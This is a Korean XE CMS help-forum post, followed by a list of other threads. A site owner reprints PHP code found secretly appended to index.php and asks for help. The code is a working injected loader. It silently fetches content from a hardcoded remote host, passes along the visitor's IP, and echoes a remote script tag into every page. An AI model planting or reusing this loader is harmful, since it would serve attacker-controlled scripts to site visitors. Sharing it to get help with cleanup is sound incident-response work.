묻고답하기

index.php파일 최하단에

 


#af7fbf#
if (empty($sehbv)) {

    error_reporting(0);

    @ini_set('display_errors', 0);

    if (!function_exists('__url_get_contents')) {

        function __url_get_contents($remote_url, $timeout)

        {

            if (function_exists('curl_exec')) {

                $ch = curl_init();

                curl_setopt($ch, CURLOPT_URL, $remote_url);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds

                $_url_get_contents_data = curl_exec($ch);

                curl_close($ch);

            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {

                $ctx = @stream_context_create(array('http' =>

                    array(

                        'timeout' => $timeout,

                    )

                ));

                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);

            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

                $handle = @fopen($remote_url, "r");

                $_url_get_contents_data = @stream_get_contents($handle);

            } else {

                $_url_get_contents_data = __file_get_url_contents($remote_url);

            }

            return $_url_get_contents_data;

        }

    }

    if (!function_exists('__file_get_url_contents')) {

        function __file_get_url_contents($remote_url)

        {

            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',

                $remote_url, $matches)

            ) {

                $protocol = strtolower($matches[1]);

                $host = $matches[2];

                $path = $matches[3];

            } else {

                // Bad remote_url-format

                return FALSE;

            }

            if ($protocol == "http") {

                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);

            } else {

                // Bad protocol

                return FALSE;

            }

            if (!$socket) {

                // Error creating socket

                return FALSE;

            }

            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

            $len_written = @fwrite($socket, $request);

            if ($len_written === FALSE || $len_written != strlen($request)) {

                // Error sending request

                return FALSE;

            }

            $response = "";

            while (!@feof($socket) &&

                ($buf = @fread($socket, 4096)) !== FALSE) {

                $response .= $buf;

            }

            if ($buf === FALSE) {

                // Error reading response

                return FALSE;

            }

            $end_of_header = strpos($response, "\r\n\r\n");

            return substr($response, $end_of_header + 4);

        }

    }

 

    if (empty($__var_to_echo) && empty($remote_domain)) {

        $_ip = $_SERVER['REMOTE_ADDR'];

        $sehbv = "http://www.processnet.com.ar/good_job/yWXjwvJc.php";

        $sehbv = __url_get_contents($sehbv."?a=$_ip", 1);

        if (strpos($sehbv, 'http://') === 0) {

            $__var_to_echo = '<script type="text/javascript" src="' . $sehbv . '?id=12328198"></script>';

            echo $__var_to_echo;

        }

    }

}
#/af7fbf#

 

 

 

사이트 접속이 되다 말다 그러고 페이지를 찾을 수 없습니다 빈도가 상당히 잦아 서버를 재부팅 해봤으나 증상은 동일하여 FTP를 열었더니..

 

위와같은 소스가 들어있었습니다.

업로드 한적이 없었음에도 불구하고 위의 소스가 들어가있고

업로드시간은 4월 24일 5시 40분 자로 표시되어있네요..

다시 원래 XE 의 기본 php 파일을 올렸으나 속도 문제는 해결 되지 않네요.

 

무섭습니다. 어떻게 해야할까요?

글쓴이 제목 최종 글
XE 공지 글 쓰기,삭제 운영방식 변경 공지 [16] 2019.03.05 by 남기남
쉬폰케익 닷홈 무료 호스팅을 신청했는데요 주소가.. [4] 2015.02.27 by 라디오스테이션
게르병이 xe보드 설치시 에러 [8] file 2015.02.27 by 게르병이
큰성565 시험모듈의 카테고리를 cond 이용해서 레이아웃쪽으로 떼어내려고 하는데요.  
홈런볼11 mysql 일괄 처리 명령어  
불금 회원가입시 영어+숫자 라고 되어있는데요. [1] 2015.02.26 by 불금
기을이 로그인했는데 자동 로그아웃되는 현상 [1] 2015.02.26 by Hi_Roy
ljhw 도움주실분ㅠ [4] 2015.02.26 by ljhw
헌팅 도와주세요. file  
kjmedi626 서브페이지 질문드려요. file  
착한부산남자 리눅스 메일 보내기(파일첨부포함) 쉘스크립트를 알고 싶어요  
유샤인 새버전 1.7.11으로 업그레이드하고 생긴 이 문제 해결책 좀 부탁합니다. [1] file 2015.02.26 by 유샤인
홈런볼11 입력 형식 체크 하는 부분 [3] 2015.02.26 by 홈런볼11
스풀링 스케치북5 게시판 가로사이즈 조절 질문좀드려요~ [2] 2015.02.26 by 스풀링
재리빠 네이버검색, 세션아이디, 중복문서 문의드립니다. file  
랩소 admin 업데이트 관련 [4] file 2015.02.26 by 랩소
kjmedi626 질문합니다 ㅠㅠ [4] file 2015.02.26 by kjmedi626
너구리우동면 링크페이지 ftp는 링크할수있는 방법이 어떤게 있을까요?  
스누피12 관리자 로그인이 안됩니다(존재하지 않는 회원아이디) [7] file 2015.02.26 by 스누피12
지고흐 스케치북5 씁니다. 게시글 사진이 늘어져나와요 ㅜㅜ [12] 2015.02.26 by 지고흐
취침 게시판 모듈 삭제는 어떻게 하나요?ㅠㅠ [2] file 2015.02.26 by 취침